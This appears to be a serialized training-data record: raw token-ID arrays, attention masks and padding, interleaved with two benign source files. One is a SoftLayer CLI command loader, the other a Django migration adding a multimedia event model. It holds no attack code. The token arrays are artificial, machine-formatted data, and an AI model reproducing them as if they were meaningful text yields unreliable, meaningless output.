378, 88, 1960, 23, 26, 399, 2, 27866, 1237, 30936, 1845, 887, 567, 71, 401, 272, 378, 88, 1079, 1780, 26, 399, 2, 27866, 1237, 491, 1873, 335, 32461, 15859, 401, 272, 378, 88, 966, 2036, 26, 399, 2, 29480, 401, 272, 378, 88, 11189, 68, 26, 399, 2, 1966, 15850, 401, 272, 378, 88, 966, 1355, 26, 399, 2, 40, 3558, 401, 272, 378, 88, 11189, 69, 26, 399, 2, 40, 25364, 401, 272, 378, 88, 11189, 70, 26, 399, 2, 41, 301, 1502, 5000, 401, 272, 378, 88, 966, 2025, 26, 399, 2, 607, 4456, 6214, 401, 272, 378, 88, 966, 709, 26, 399, 2, 7940, 25861, 9739, 401, 272, 378, 88, 2036, 709, 26, 399, 2, 7940, 25861, 16666, 19857, 401, 272, 378, 88, 32473, 26, 399, 2, 42, 30699 ]
[ 199, 8647, 12293, 446, 3820, 402, 28298, 11449, 436, 8466, 25031, 199, 199, 17286, 666, 1817, 26, 199, 1014, 921, 1544, 14, 17040, 14, 957, 15, 2966, 2374, 15, 4443, 15, 2676, 18, 75, 15, 2758, 15, 76, 7504, 14, 77, 681, 88, 199, 624, 199, 199, 13947, 63, 998, 275, 469, 272, 378, 88, 966, 1344, 26, 399, 2, 14799, 322, 7351, 796, 401, 272, 378, 88, 10531, 67, 26, 399, 2, 2439, 13206, 5653, 401, 272, 378, 88, 28025, 26, 399, 2, 33, 24176, 428, 23577, 437, 345, 4492, 65, 401, 272, 378, 88, 2036, 614, 26, 399, 2, 33, 24176, 473, 345, 81, 401, 272, 378, 88, 16, 67, 614, 26, 399, 2, 33, 24176, 662, 4312, 541, 401, 272, 378, 88, 22167, 26, 399, 2, 33, 24176, 24157, 991, 65, 401, 272, 378, 88, 1079, 614, 26, 399, 2, 33, 24176, 4580, 836, 4674, 401, 272, 378, 88, 1085, 614, 26, 399, 2, 33, 24176, 603, 269, 679, 331, 401, 272, 378, 88, 17, 67, 614, 26, 399, 2, 33, 24176, 377, 5411, 10971, 401, 272, 378, 88, 8339, 26, 399, 2, 33, 24176, 593, 1237, 401, 272, 378, 88, 1194, 614, 26, 399, 2, 33, 24176, 1488, 69, 1410, 401, 272, 378, 88, 1651, 614, 26, 399, 2, 33, 24176, 5515, 23714, 401, 272, 378, 88, 18, 67, 614, 26, 399, 2, 33, 24176, 1603, 2181, 290, 401, 272, 378, 88, 19, 4587, 26, 399, 2, 33, 24176, 491, 2871, 21009, 401, 272, 378, 88, 1082, 614, 26, 399, 2, 33, 24176, 1804, 85, 2573, 401, 272, 378, 88, 1703, 614, 26, 399, 2, 33, 24176, 738, 12500, 401, 272, 378, 88, 19, 67, 614, 26, 399, 2, 33, 24176, 699, 11326, 6322, 401, 272, 378, 88, 20, 4587, 26, 399, 2, 33, 24176, 1413, 8535, 401, 272, 378, 88, 13011, 66, 26, 399, 2, 1596, 22562, 401, 272, 378, 88, 13011, 67, 26, 399, 2, 33, 2282, 73, 23864, 401, 272, 378, 88, 19171, 67, 26, 399, 2, 33, 2282, 73, 18461, 11909, 401, 272, 378, 88, 13011, 68, 26, 399, 2, 34, 305, 544, 401, 272, 378, 88, 966, 1789, 26, 399, 2, 34, 352, 285, 85, 6214, 401, 272, 378, 88, 966, 996, 26, 399, 2, 34, 27092, 15289, 401, 272, 378, 88, 966, 1644, 26, 399, 2, 35, 7539, 290, 401, 272, 378, 88, 966, 966, 26, 399, 2, 1049, 26883, 377, 5789, 20444, 401, 272, 378, 88, 2036, 966, 26, 399, 2, 1049, 26883, 510, 8205, 401, 272, 378, 88, 16, 67, 966, 26, 399, 2, 1049, 26883, 869, 951, 1804, 951, 401, 272, 378, 88, 1960, 20, 26, 399, 2, 1049, 26883, 428, 316, 439, 720, 401, 272, 378, 88, 1079, 966, 26, 399, 2, 1049, 26883, 10444, 3844, 401, 272, 378, 88, 10531, 65, 26, 399, 2, 35, 293, 2159, 290, 401, 272, 378, 88, 966, 1717, 26, 399, 2, 35, 806, 335, 401, 272, 378, 88, 966, 1690, 26, 399, 2, 29336, 2453, 401, 272, 378, 88, 966, 969, 26, 399, 2, 36, 337, 335, 9739, 401, 272, 378, 88, 2036, 969, 26, 399, 2, 36, 337, 335, 699, 352, 71, 5653, 401, 272, 378, 88, 966, 1643, 26, 399, 2, 19410, 1910, 5703, 24230, 401, 272, 378, 88, 16, 11782, 26, 399, 2, 19410, 1910, 5703, 1804, 316, 4556, 401, 272, 378, 88, 16, 67, 1643, 26, 399, 2, 19410, 437, 11409, 25861, 401, 272, 378, 88, 1960, 25, 26, 399, 2, 19410, 445, 6738, 6268, 401, 272, 378, 88, 1079, 1643, 26, 399, 2, 19410, 7053, 3107, 69, 279, 460, 401, 272, 378, 88, 1085, 1643, 26, 399, 2, 19410, 473, 322, 609, 401, 272, 378, 88, 17, 67, 1643, 26, 399, 2, 19410, 23150, 437, 70, 7127, 401, 272, 378, 88, 8664, 26, 399, 2, 19410, 1603, 14541, 24027, 401, 272, 378, 88, 1194, 1643, 26, 399, 2, 19410, 445, 759, 66, 28142, 401, 272, 378, 88, 18, 11782, 26, 399, 2, 19410, 6423, 13559, 401, 272, 378, 88, 18, 67, 1643, 26, 399, 2, 19410, 377, 24667, 344, 350, 401, 272, 378, 88, 5863, 25, 26, 399, 2, 19410, 3107, 73, 887, 371, 1129, 401, 272, 378, 88, 1082, 1643, 26, 399, 2, 19410, 11308, 1638, 802, 3746, 401, 272, 378, 88, 966, 821, 26, 399, 2, 9169, 265, 5653, 401, 272, 378, 88, 16307, 26, 399, 2, 1906, 3478, 31209, 401, 272, 378, 88, 966, 1398, 26, 399, 2, 38, 285, 338, 401, 272, 378, 88, 11189, 66, 26, 399, 2, 8694, 78, 2453, 401, 272, 378, 88, 11189, 67, 26, 399, 2, 38, 15148, 9739, 401, 272, 378, 88, 27014, 67, 26, 399, 2, 38, 15148, 699, 352, 71, 5653, 401, 272, 378, 88, 16, 67, 16, 67, 26, 399, 2, 38, 15148, 445, 6738, 6268, 401, 272, 378, 88, 1960, 67, 26, 399, 2, 38, 15148, 16666, 19857, 401, 272, 378, 88, 10037, 67, 26, 399, 2, 38, 15148, 30936, 1845, 887, 567, 71, 401, 272, 378, 88, 7663, 67, 26, 399, 2, 38, 15148, 10953, 13286, 401, 272, 378, 88, 31013, 26, 399, 2, 4240, 1308, 5653, 401, 272, 378, 88, 966, 1780, 26, 399, 2, 27866, 1237, 9739, 401, 272, 378, 88, 16, 11369, 26, 399, 2, 27866, 1237, 16666, 19857, 401, 272, 378, 88, 16, 67, 1780, 26, 399, 2, 27866, 1237, 31853, 816, 290, 401, 272, 378, 88, 1960, 23, 26, 399, 2, 27866, 1237, 30936, 1845, 887, 567, 71, 401, 272, 378, 88, 1079, 1780, 26, 399, 2, 27866, 1237, 491, 1873, 335, 32461, 15859, 401, 272, 378, 88, 966, 2036, 26, 399, 2, 29480, 401, 272, 378, 88, 11189, 68, 26, 399, 2, 1966, 15850, 401, 272, 378, 88, 966, 1355, 26, 399, 2, 40, 3558, 401, 272, 378, 88, 11189, 69, 26, 399, 2, 40, 25364, 401, 272, 378, 88, 11189, 70, 26, 399, 2, 41, 301, 1502, 5000, 401, 272, 378, 88, 966, 2025, 26, 399, 2, 607, 4456, 6214, 401, 272, 378, 88, 966, 709, 26, 399, 2, 7940, 25861, 9739, 401, 272, 378, 88, 2036, 709, 26, 399, 2, 7940, 25861, 16666, 19857, 401, 272, 378, 88, 32473, 26, 399, 2, 42, 30699, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
allmightyspiff/softlayer-python
SoftLayer/CLI/virt/placementgroup/__init__.py
3
1401
"""Manages Reserved Capacity.""" # :license: MIT, see LICENSE for more details. import importlib import os import click CONTEXT = {'help_option_names': ['-h', '--help'], 'max_content_width': 999} class PlacementGroupCommands(click.MultiCommand): """Loads module for placement group related commands. Currently the base command loader only supports going two commands deep. So this small loader is required for going that third level. """ def __init__(self, **attrs): click.MultiCommand.__init__(self, **attrs) self.path = os.path.dirname(__file__) def list_commands(self, ctx): """List all sub-commands.""" commands = [] for filename in os.listdir(self.path): if filename == '__init__.py': continue if filename.endswith('.py'): commands.append(filename[:-3].replace("_", "-")) commands.sort() return commands def get_command(self, ctx, cmd_name): """Get command for click.""" path = "%s.%s" % (__name__, cmd_name) path = path.replace("-", "_") module = importlib.import_module(path) return getattr(module, 'cli') # Required to get the sub-sub-sub command to work. @click.group(cls=PlacementGroupCommands, context_settings=CONTEXT) def cli(): """Base command for all capacity related concerns"""
mit
[ 624, 2395, 7441, 5702, 8790, 6192, 1041, 199, 3, 520, 1682, 26, 10697, 12, 1937, 5113, 367, 1655, 2436, 14, 199, 199, 646, 14802, 199, 646, 747, 199, 199, 646, 8968, 199, 199, 9059, 275, 791, 3437, 63, 1422, 63, 1247, 356, 11573, 72, 297, 2850, 3437, 995, 1779, 283, 988, 63, 1317, 63, 2063, 356, 22291, 93, 421, 199, 533, 10902, 434, 2448, 14680, 8, 4891, 14, 3947, 3110, 304, 272, 408, 30777, 859, 367, 22286, 1572, 4048, 3718, 14, 339, 13550, 314, 1300, 1414, 5077, 1454, 5171, 9995, 2877, 3718, 13217, 14, 272, 2002, 642, 7425, 5077, 365, 1415, 367, 9995, 626, 10919, 2166, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 1011, 3288, 304, 267, 8968, 14, 3947, 3110, 855, 826, 721, 277, 12, 1011, 3288, 9, 267, 291, 14, 515, 275, 747, 14, 515, 14, 3475, 3460, 493, 3368, 339, 347, 769, 63, 4405, 8, 277, 12, 4027, 304, 267, 408, 1296, 1006, 1007, 13, 4405, 1041, 267, 3718, 275, 942, 267, 367, 1788, 315, 747, 14, 7374, 8, 277, 14, 515, 304, 288, 340, 1788, 508, 2560, 826, 4343, 647, 356, 355, 1980, 288, 340, 1788, 14, 4130, 5175, 647, 735, 355, 3718, 14, 740, 8, 1501, 4439, 19, 1055, 1814, 11008, 401, 3905, 2237, 267, 3718, 14, 3191, 342, 267, 372, 3718, 339, 347, 664, 63, 1531, 8, 277, 12, 4027, 12, 2088, 63, 354, 304, 267, 408, 1002, 1414, 367, 8968, 1041, 267, 931, 275, 2071, 83, 4111, 83, 2, 450, 25373, 354, 3108, 2088, 63, 354, 9, 267, 931, 275, 931, 14, 1814, 6096, 401, 2668, 531, 267, 859, 275, 14802, 14, 646, 63, 578, 8, 515, 9, 267, 372, 2519, 8, 578, 12, 283, 2764, 358, 421, 199, 3, 11105, 370, 664, 314, 1007, 13, 954, 13, 954, 1414, 370, 1736, 14, 199, 32, 4891, 14, 923, 8, 1886, 29, 32360, 2448, 14680, 12, 1067, 63, 1751, 29, 9059, 9, 199, 318, 5053, 837, 272, 408, 1563, 1414, 367, 1006, 14893, 4048, 406, 2247, 561, 624, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2395, 7441, 5702, 8790, 6192, 1041, 199, 3, 520, 1682, 26, 10697, 12, 1937, 5113, 367, 1655, 2436, 14, 199, 199, 646, 14802, 199, 646, 747, 199, 199, 646, 8968, 199, 199, 9059, 275, 791, 3437, 63, 1422, 63, 1247, 356, 11573, 72, 297, 2850, 3437, 995, 1779, 283, 988, 63, 1317, 63, 2063, 356, 22291, 93, 421, 199, 533, 10902, 434, 2448, 14680, 8, 4891, 14, 3947, 3110, 304, 272, 408, 30777, 859, 367, 22286, 1572, 4048, 3718, 14, 339, 13550, 314, 1300, 1414, 5077, 1454, 5171, 9995, 2877, 3718, 13217, 14, 272, 2002, 642, 7425, 5077, 365, 1415, 367, 9995, 626, 10919, 2166, 14, 272, 408, 339, 347, 636, 826, 721, 277, 12, 1011, 3288, 304, 267, 8968, 14, 3947, 3110, 855, 826, 721, 277, 12, 1011, 3288, 9, 267, 291, 14, 515, 275, 747, 14, 515, 14, 3475, 3460, 493, 3368, 339, 347, 769, 63, 4405, 8, 277, 12, 4027, 304, 267, 408, 1296, 1006, 1007, 13, 4405, 1041, 267, 3718, 275, 942, 267, 367, 1788, 315, 747, 14, 7374, 8, 277, 14, 515, 304, 288, 340, 1788, 508, 2560, 826, 4343, 647, 356, 355, 1980, 288, 340, 1788, 14, 4130, 5175, 647, 735, 355, 3718, 14, 740, 8, 1501, 4439, 19, 1055, 1814, 11008, 401, 3905, 2237, 267, 3718, 14, 3191, 342, 267, 372, 3718, 339, 347, 664, 63, 1531, 8, 277, 12, 4027, 12, 2088, 63, 354, 304, 267, 408, 1002, 1414, 367, 8968, 1041, 267, 931, 275, 2071, 83, 4111, 83, 2, 450, 25373, 354, 3108, 2088, 63, 354, 9, 267, 931, 275, 931, 14, 1814, 6096, 401, 2668, 531, 267, 859, 275, 14802, 14, 646, 63, 578, 8, 515, 9, 267, 372, 2519, 8, 578, 12, 283, 2764, 358, 421, 199, 3, 11105, 370, 664, 314, 1007, 13, 954, 13, 954, 1414, 370, 1736, 14, 199, 32, 4891, 14, 923, 8, 1886, 29, 32360, 2448, 14680, 12, 1067, 63, 1751, 29, 9059, 9, 199, 318, 5053, 837, 272, 408, 1563, 1414, 367, 1006, 14893, 4048, 406, 2247, 561, 624, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
Ircam-Web/mezzanine-organization
organization/agenda/migrations/0033_dynamicmultimediaevent.py
1
1459
# -*- coding: utf-8 -*- # Generated by Django 1.10.8 on 2018-11-30 10:33 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion import mezzanine.core.fields class Migration(migrations.Migration): dependencies = [ ('contenttypes', '0002_remove_content_type_name'), ('mezzanine_agenda', '0028_auto_20180926_1235'), ('organization-agenda', '0032_auto_20181108_1636'), ] operations = [ migrations.CreateModel( name='DynamicMultimediaEvent', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('_order', mezzanine.core.fields.OrderField(null=True, verbose_name='Order')), ('object_id', models.PositiveIntegerField(editable=False, null=True, verbose_name='related object')), ('content_type', models.ForeignKey(blank=True, editable=False, null=True, on_delete=django.db.models.deletion.CASCADE, to='contenttypes.ContentType', verbose_name='content type')), ('event', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='dynamic_multimedia', to='mezzanine_agenda.Event', verbose_name='event')), ], options={ 'verbose_name': 'Multimedia', 'ordering': ('_order',), }, ), ]
agpl-3.0
